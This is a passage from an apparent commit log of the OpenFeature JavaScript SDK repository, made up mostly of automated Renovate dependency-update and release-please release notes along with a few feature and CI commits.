`18.4.3`](https://renovatebot.com/diffs/npm/@angular-eslint%2feslint-plugin/18.4.0/18.4.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2feslint-plugin/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2feslint-plugin/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2feslint-plugin/18.4.0/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2feslint-plugin/18.4.0/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@angular-eslint/eslint-plugin-template](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/eslint-plugin-template))
| [`18.4.0` ->
`18.4.3`](https://renovatebot.com/diffs/npm/@angular-eslint%2feslint-plugin-template/18.4.0/18.4.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2feslint-plugin-template/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2feslint-plugin-template/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2feslint-plugin-template/18.4.0/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2feslint-plugin-template/18.4.0/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@angular-eslint/schematics](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/schematics))
| [`18.4.0` ->
`18.4.3`](https://renovatebot.com/diffs/npm/@angular-eslint%2fschematics/18.4.0/18.4.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2fschematics/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2fschematics/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2fschematics/18.4.0/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2fschematics/18.4.0/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@angular-eslint/template-parser](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/template-parser))
| [`18.4.0` ->
`18.4.3`](https://renovatebot.com/diffs/npm/@angular-eslint%2ftemplate-parser/18.4.0/18.4.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2ftemplate-parser/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2ftemplate-parser/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2ftemplate-parser/18.4.0/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2ftemplate-parser/18.4.0/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/builder)</summary>

###
[`v18.4.3`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/builder/CHANGELOG.md#1843-2024-11-29)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.2...v18.4.3)

##### 🩹 Fixes

- yarn pnp issues
([#&#8203;2143](https://redirect.github.com/angular-eslint/angular-eslint/pull/2143))

##### ❤️ Thank You

- James Henry
[@&#8203;JamesHenry](https://redirect.github.com/JamesHenry)

###
[`v18.4.2`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/builder/CHANGELOG.md#1842-2024-11-23)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.1...v18.4.2)

This was a version bump only for builder to align it with other
projects, there were no code changes.

###
[`v18.4.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/builder/CHANGELOG.md#1841-2024-11-18)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.0...v18.4.1)

This was a version bump only for builder to align it with other
projects, there were no code changes.

</details>

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/eslint-plugin)</summary>

###
[`v18.4.3`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#1843-2024-11-29)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.2...v18.4.3)

This was a version bump only for eslint-plugin to align it with other
projects, there were no code changes.

###
[`v18.4.2`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#1842-2024-11-23)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.1...v18.4.2)

##### 🩹 Fixes

- **eslint-plugin:** fix placement of lifecycle interface for subclasses
([#&#8203;1965](https://redirect.github.com/angular-eslint/angular-eslint/pull/1965))
- **eslint-plugin:** handle `output()` and `input()` functions in
various rules
([#&#8203;2098](https://redirect.github.com/angular-eslint/angular-eslint/pull/2098))

##### ❤️ Thank You

-   Aleksandr Martirosyan
-   Dave [@&#8203;reduckted](https://redirect.github.com/reduckted)

###
[`v18.4.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#1841-2024-11-18)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.0...v18.4.1)

This was a version bump only for eslint-plugin to align it with other
projects, there were no code changes.

</details>

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/eslint-plugin-template)</summary>

###
[`v18.4.3`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin-template/CHANGELOG.md#1843-2024-11-29)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.2...v18.4.3)

This was a version bump only for eslint-plugin-template to align it with
other projects, there were no code changes.

###
[`v18.4.2`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin-template/CHANGELOG.md#1842-2024-11-23)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.1...v18.4.2)

This was a version bump only for eslint-plugin-template to align it with
other projects, there were no code changes.

###
[`v18.4.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/eslint-plugin-template/CHANGELOG.md#1841-2024-11-18)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.0...v18.4.1)

This was a version bump only for eslint-plugin-template to align it with
other projects, there were no code changes.

</details>

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/schematics)</summary>

###
[`v18.4.3`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/schematics/CHANGELOG.md#1843-2024-11-29)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.2...v18.4.3)

##### 🩹 Fixes

- update typescript-eslint packages to v8.16.0
([#&#8203;2135](https://redirect.github.com/angular-eslint/angular-eslint/pull/2135))
- yarn pnp issues
([#&#8203;2143](https://redirect.github.com/angular-eslint/angular-eslint/pull/2143))

##### ❤️ Thank You

- James Henry
[@&#8203;JamesHenry](https://redirect.github.com/JamesHenry)

###
[`v18.4.2`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/schematics/CHANGELOG.md#1842-2024-11-23)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.1...v18.4.2)

This was a version bump only for schematics to align it with other
projects, there were no code changes.

###
[`v18.4.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/schematics/CHANGELOG.md#1841-2024-11-18)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.0...v18.4.1)

##### 🩹 Fixes

- update dependency ignore to v6
([#&#8203;2047](https://redirect.github.com/angular-eslint/angular-eslint/pull/2047))

</details>

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/template-parser)</summary>

###
[`v18.4.3`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/template-parser/CHANGELOG.md#1843-2024-11-29)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.2...v18.4.3)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

###
[`v18.4.2`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/template-parser/CHANGELOG.md#1842-2024-11-23)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.1...v18.4.2)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

###
[`v18.4.1`](https://redirect.github.com/angular-eslint/angular-eslint/blob/HEAD/packages/template-parser/CHANGELOG.md#1841-2024-11-18)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v18.4.0...v18.4.1)

This was a version bump only for template-parser to align it with other
projects, there were no code changes.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-01-28 19:41:25 +00:00
renovate[bot] b99fc01a6d
chore(deps): update dependency @types/react to v18.3.18 (#1112)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react))
| [`18.3.12` ->
`18.3.18`](https://renovatebot.com/diffs/npm/@types%2freact/18.3.12/18.3.18)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/18.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/18.3.12/18.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.3.12/18.3.18?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuODAuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-01-28 19:41:08 +00:00
Will C. 4a6b860544
feat: export useOpenFeatureClientStatus hook (#1082)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

exposes the internal open feature client status hook so developers can
act on non-ready resolved states

### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

Fixes #1036

### Notes
<!-- any additional notes for this PR -->

### Follow-up Tasks
<!-- anything that is related to this PR but not done here should be
noted under this section -->
<!-- if there is a need for a new issue, please link it here -->

### How to test
<!-- if applicable, add testing instructions under this section -->

---------

Signed-off-by: William Chou <iam@willchou.dev>
Signed-off-by: Will Chou <w.chou06@gmail.com>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2025-01-28 19:40:48 +00:00
Todd Baert 9e338f2ca3
chore: remove release-as from nest sdk
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-01-07 14:18:46 -05:00
Michael Beemer 0587d8a5da
ci: add node 22 to test matrix (#1115)
## This PR

- adds node 22 to the test matrix

### Notes

Node 22 is the current active LTS version. We still should target Node
18 but test Node 22.

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-01-03 08:56:42 -05:00
OpenFeature Bot 52c8de630b
chore(main): release react-sdk 0.4.10 (#1105)
🤖 I have created a release *beep* *boop*
---


##
[0.4.10](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.9...react-sdk-v0.4.10)
(2024-12-18)


### 🔄 Refactoring

* export public option types
([#1101](https://github.com/open-feature/js-sdk/issues/1101))
([16321c3](16321c31f2))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-12-18 13:58:49 -05:00
OpenFeature Bot edab97019a
chore(main): release server-sdk 1.17.0 (#1104)
🤖 I have created a release *beep* *boop*
---


##
[1.17.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.16.2...server-sdk-v1.17.0)
(2024-12-18)

### ⚠ BREAKING CHANGES

The signature of the `finally` hook stage has been changed. The
signature now includes the `evaluation details`, as per the [OpenFeature
specification](https://openfeature.dev/specification/sections/hooks#requirement-438).
Note that since hooks are still `experimental,` this does not constitute
a change requiring a new major version. To migrate, update any hook that
implements the `finally` stage to accept `evaluation details` as the
second argument.

* add evaluation details to finally hook
([#1087](https://github.com/open-feature/js-sdk/issues/1087))
([2135254](2135254c4b))

###  New Features

* add evaluation details to finally hook
([#1087](https://github.com/open-feature/js-sdk/issues/1087))
([2135254](2135254c4b))


### 📚 Documentation

* fix comment in README for Hook’s after method
([#1103](https://github.com/open-feature/js-sdk/issues/1103))
([e335615](e3356157d5))


### 🔄 Refactoring

* improve track interface for providers
([#1100](https://github.com/open-feature/js-sdk/issues/1100))
([5e5b160](5e5b160221))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-12-18 13:53:23 -05:00
OpenFeature Bot 79de7cabd3
chore(main): release web-sdk 1.4.0 (#1106)
🤖 I have created a release *beep* *boop*
---


##
[1.4.0](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.3.2...web-sdk-v1.4.0)
(2024-12-18)

### ⚠ BREAKING CHANGES

The signature of the `finally` hook stage has been changed. The
signature now includes the `evaluation details`, as per the [OpenFeature
specification](https://openfeature.dev/specification/sections/hooks#requirement-438).
Note that since hooks are still `experimental,` this does not constitute
a change requiring a new major version. To migrate, update any hook that
implements the `finally` stage to accept `evaluation details` as the
second argument.

* add evaluation details to finally hook
([#1087](https://github.com/open-feature/js-sdk/issues/1087))
([2135254](2135254c4b))

###  New Features

* add evaluation details to finally hook
([#1087](https://github.com/open-feature/js-sdk/issues/1087))
([2135254](2135254c4b))


### 📚 Documentation

* fix comment in README for Hook’s after method
([#1102](https://github.com/open-feature/js-sdk/issues/1102))
([ba8d1ae](ba8d1aeec8))


### 🔄 Refactoring

* improve track interface for providers
([#1100](https://github.com/open-feature/js-sdk/issues/1100))
([5e5b160](5e5b160221))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-12-18 13:48:25 -05:00
OpenFeature Bot bd26d0a234
chore(main): release core 1.6.0 (#1107)
🤖 I have created a release *beep* *boop*
---


##
[1.6.0](https://github.com/open-feature/js-sdk/compare/core-v1.5.0...core-v1.6.0)
(2024-12-12)

### ⚠ BREAKING CHANGES

The signature of the `finally` hook stage has been changed. The
signature now includes the `evaluation details`, as per the [OpenFeature
specification](https://openfeature.dev/specification/sections/hooks#requirement-438).
Note that since hooks are still `experimental,` this does not constitute
a change requiring a new major version. To migrate, update any hook that
implements the `finally` stage to accept `evaluation details` as the
second argument.

* add evaluation details to finally hook
([#1087](https://github.com/open-feature/js-sdk/issues/1087))
([2135254](2135254c4b))

###  New Features

* add evaluation details to finally hook
([#1087](https://github.com/open-feature/js-sdk/issues/1087))
([2135254](2135254c4b))


### 🔄 Refactoring

* improve track interface for providers
([#1100](https://github.com/open-feature/js-sdk/issues/1100))
([5e5b160](5e5b160221))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-12-18 18:40:39 +00:00
renovate[bot] 38d9a3bee3
chore(deps): update typescript-eslint monorepo to v7.18.0 (#1065)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@typescript-eslint/eslint-plugin](https://typescript-eslint.io/packages/eslint-plugin)
([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin))
| [`7.11.0` ->
`7.18.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2feslint-plugin/7.11.0/7.18.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2feslint-plugin/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@typescript-eslint%2feslint-plugin/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@typescript-eslint%2feslint-plugin/7.11.0/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2feslint-plugin/7.11.0/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@typescript-eslint/parser](https://typescript-eslint.io/packages/parser)
([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser))
| [`7.11.0` ->
`7.18.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fparser/7.11.0/7.18.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2fparser/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@typescript-eslint%2fparser/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@typescript-eslint%2fparser/7.11.0/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2fparser/7.11.0/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/eslint-plugin)</summary>

###
[`v7.18.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7180-2024-07-29)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.17.0...v7.18.0)

##### 🩹 Fixes

- **eslint-plugin:** \[no-unnecessary-type-assertion] prevent runtime
error when asserting a variable declared in default TS lib

- **eslint-plugin:** \[unbound-method] report on destructuring in
function parameters

- **eslint-plugin:** \[no-duplicate-type-constituents] shouldn't report
on error types

- **eslint-plugin:** \[strict-boolean-expressions] support branded
booleans

##### ❤️  Thank You

-   auvred
-   Oliver Salzburg
-   Vinccool96
-   Yukihiro Hasegawa

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.17.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7170-2024-07-22)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.16.1...v7.17.0)

##### 🚀 Features

- **eslint-plugin:** backport no-unsafe-function type,
no-wrapper-object-types from v8 to v7

- **eslint-plugin:** \[return-await] add option to report in
error-handling scenarios only, and deprecate "never"

##### 🩹 Fixes

- **eslint-plugin:** \[no-floating-promises] check top-level type
assertions (and more)

- **eslint-plugin:** \[strict-boolean-expressions] consider assertion
function argument a boolean context

- **eslint-plugin:** \[no-unnecessary-condition] false positive on
optional private field

##### ❤️  Thank You

-   Armano
-   Josh Goldberg 
-   Kirk Waiblinger
-   StyleShit

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.16.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7161-2024-07-15)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.16.0...v7.16.1)

##### 🩹 Fixes

- **eslint-plugin:** \[no-unnecessary-type-parameters] descend into all
parts of mapped types in no-unnecessary-type-parameters

##### ❤️  Thank You

-   Dan Vanderkam

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.16.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7160-2024-07-08)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.15.0...v7.16.0)

##### 🚀 Features

-   **rule-tester:** stricter rule test validations

- **eslint-plugin:** \[no-unnecessary-parameter-property-assignment] add
new rule

- **eslint-plugin:** add support for nested namespaces to
unsafe-member-access

-   **eslint-plugin:** \[no-floating-promises] add checkThenables option

##### 🩹 Fixes

- **deps:** update dependency
[@&#8203;eslint-community/regexpp](https://redirect.github.com/eslint-community/regexpp)
to v4.11.0

- **eslint-plugin:** \[no-floating-promises] add `suggestions` to tests
from
[#&#8203;9263](https://redirect.github.com/typescript-eslint/typescript-eslint/issues/9263)
`checkThenables`

-   **website:** react key error on internal pages of website

- **eslint-plugin:** \[restrict-template-expressions] don't report
tuples if `allowArray` option is enabled

##### ❤️  Thank You

-   Abraham Guo
-   auvred
-   Josh Goldberg 
-   Juan Sanchez
-   Vinccool96
-   YeonJuan
-   Yukihiro Hasegawa

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.15.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7150-2024-07-01)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.14.1...v7.15.0)

##### 🚀 Features

-   **eslint-plugin:** \[array-type] detect `Readonly<string[]>` case

- **eslint-plugin:** back-port new rules around empty object types from
v8

##### 🩹 Fixes

- disable `EXPERIMENTAL_useProjectService` in `disabled-type-checked`
shared config

- **eslint-plugin:** \[no-unsafe-return] differentiate a types-error any
from a true any

- **eslint-plugin:** \[no-unsafe-call] differentiate a types-error any
from a true any

##### ❤️  Thank You

-   auvred
-   Kim Sang Du
-   rgehbt
-   Vinccool96

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.14.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7141-2024-06-24)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.14.0...v7.14.1)

##### 🩹 Fixes

- **eslint-plugin:** \[prefer-nullish-coalescing] treat enums and
literals as their underlying primitive types

- **eslint-plugin:** \[prefer-nullish-coalescing] ensure ternary fix
does not remove parens

##### ❤️  Thank You

-   Jake Bailey

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.14.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7140-2024-06-24)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.13.1...v7.14.0)

##### 🚀 Features

-   support TypeScript 5.5

##### 🩹 Fixes

-   **eslint-plugin:** \[no-extraneous-class] handle abstract members

- **eslint-plugin:** \[prefer-nullish-coalescing] handle intersected
primitive types

-   **eslint-plugin:** \[no-invalid-this] support AccessorProperty

##### ❤️  Thank You

-   Brad Zacher
-   cm-ayf
-   Jake Bailey
-   James Zhan
-   Joshua Chen
-   yoshi2no

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.13.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7131-2024-06-17)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.13.0...v7.13.1)

##### 🩹 Fixes

-   **eslint-plugin:** \[prefer-readonly] refine report locations

- **eslint-plugin:** \[return-await] support explicit resource
management

- **eslint-plugin:** \[no-unsafe-member-access] differentiate a
types-error any from a true any

##### ❤️  Thank You

-   Kirk Waiblinger
-   Yukihiro Hasegawa

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.13.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7130-2024-06-10)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.12.0...v7.13.0)

##### 🚀 Features

- **typescript-estree:** require `import = require()` argument to be a
string literal

- **typescript-estree:** forbid `.body`, `.async`, `.generator` on
`declare function`

- **eslint-plugin:** \[no-dynamic-delete] allow all string literals as
index

##### 🩹 Fixes

- **ast-spec:** function-call-like callee should be Expression not
LeftHandSideExpression

-   **scope-manager:** handle index signature in class

-   **eslint-plugin:** \[init-declarations] refine report locations

- **eslint-plugin:** \[no-base-to-string] make error message more
nuanced

- **eslint-plugin:** \[no-unsafe-assignment] be more specific about
error types

- **eslint-plugin:** \[no-magic-numbers] fix implementation of the
`ignore` option

##### ❤️  Thank You

-   Fotis Papadogeorgopoulos
-   Joshua Chen
-   Kirk Waiblinger
-   Tobiloba Adedeji
-   Vinccool96
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.12.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7120-2024-06-03)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v7.11.0...v7.12.0)

##### 🚀 Features

- **eslint-plugin:** \[no-useless-template-literals] rename to
`no-useless-template-expression` (deprecate
`no-useless-template-literals`)

-   **rule-tester:** check for parsing errors in suggestion fixes

-   **rule-tester:** port `checkDuplicateTestCases` from ESLint

- **eslint-plugin:** \[no-floating-promises] add option
'allowForKnownSafePromises'

##### 🩹 Fixes

-   no-useless-template-expression -> no-unnecessary-template-expression

- **eslint-plugin:** \[no-unnecessary-type-assertion] combine template
literal check with `const` variable check

- **eslint-plugin:** \[dot-notation] fix false positive when accessing
private/protected property with optional chaining

- **eslint-plugin:** \[explicit-member-accessibility] refine report
locations

- **eslint-plugin:** \[no-unnecessary-type-assertion] declares are
always defined, so always check `declare`s

- **eslint-plugin:** \[prefer-literal-enum-member] allow using member it
self on allowBitwiseExpressions

- **eslint-plugin:** \[return-await] clean up in-try-catch detection and
